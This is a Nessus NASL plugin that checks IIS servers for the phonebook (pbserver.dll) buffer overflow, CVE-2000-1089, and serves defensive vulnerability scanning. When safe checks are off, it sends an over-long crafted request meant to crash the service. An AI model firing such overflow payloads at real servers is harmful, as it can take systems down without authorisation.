home *** CD-ROM | disk | FTP | other *** search
- #
- # This script was written by Renaud Deraison <deraison@cvs.nessus.org>
- #
- # See the Nessus Scripts License for details
- #
-
- if(description)
- {
- script_id(10564);
- script_bugtraq_id(2048);
- script_version ("$Revision: 1.19 $");
- script_cve_id("CVE-2000-1089");
-
- name["english"] = "IIS phonebook";
- name["francais"] = "phonebook";
- script_name(english:name["english"], francais:name["francais"]);
-
- desc["english"] = "
- The CGI /pbserver/pbserver.dll is subject to a buffer
- overflow attack that allows an attacker to execute
- arbitrary commands on this host.
-
- Solution : See http://www.microsoft.com/technet/security/bulletin/ms00-094.mspx
- Risk factor : High";
-
-
- desc["francais"] = "
- Le CGI /pbserver/pbserver.dll est vulnΘrable α une attaque
- par dΘpassement de buffer qui permet α un pirate
- d'executer des commandes arbitraires sur ce systΦme.
-
- Solution : Cf http://www.microsoft.com/technet/security/bulletin/ms00-094.mspx
- Facteur de risque : ElevΘ";
-
- script_description(english:desc["english"], francais:desc["francais"]);
-
- summary["english"] = "Determines whether phonebook server is installed";
- summary["francais"] = "Determines si le serveur phonebook est installΘ";
-
- script_summary(english:summary["english"], francais:summary["francais"]);
-
- script_category(ACT_MIXED_ATTACK); # mixed
-
-
- script_copyright(english:"This script is Copyright (C) 2000 Renaud Deraison",
- francais:"Ce script est Copyright (C) 2000 Renaud Deraison");
- family["english"] = "CGI abuses";
- family["francais"] = "Abus de CGI";
- script_family(english:family["english"], francais:family["francais"]);
- script_dependencie("find_service.nes", "no404.nasl");
- script_require_ports("Services/www", 80);
- exit(0);
- }
-
- #
- # The script code starts here
- #
- include("http_func.inc");
- include("http_keepalive.inc");
- port = get_http_port(default:80);
-
- if(safe_checks())
- {
- res = is_cgi_installed_ka(item:"/pbserver/pbserver.dll", port:port);
- if(res)
- {
- alrt =
- "The CGI /pbserver/pbserver.dll is subject to a buffer
- overflow attack that allows an attacker to execute
- arbitrary commands on this host.
-
- *** Nessus reports this vulnerability using only
- *** information that was gathered. Use caution
- *** when testing without safe checks enabled.
-
- Solution : See http://www.microsoft.com/technet/security/bulletin/ms00-094.mspx
- Risk factor : High";
- security_hole(port:port, data:alrt);
- }
- exit(0);
- }
-
-
-
-
- if(get_port_state(port))
- {
- soc = http_open_socket(port);
- if(!soc)exit(0);
-
- req = http_get(item:"/pbserver/pbserver.dll", port:port);
- send(socket:soc, data:req);
- r = http_recv(socket:soc);
- http_close_socket(soc);
- if("Bad Request" >< r)
- {
- soc = http_open_socket(port);
- req = http_get(item:string("/pbserver/pbserver.dll?OSArch=0&OSType=2&LCID=",
- crap(200),
- "&PBVer=0&PB=",
- crap(200)), port:port);
-
- send(socket:soc, data:req);
- r = http_recv(socket:soc);
- http_close_socket(soc);
-
- soc = http_open_socket(port);
- req = http_get(item:"/pbserver/pbserver.dll", port:port);
- send(socket:soc, data:req);
- r = http_recv(socket:soc);
- http_close_socket(soc);
- if(!r)security_hole(port);
- }
- }
-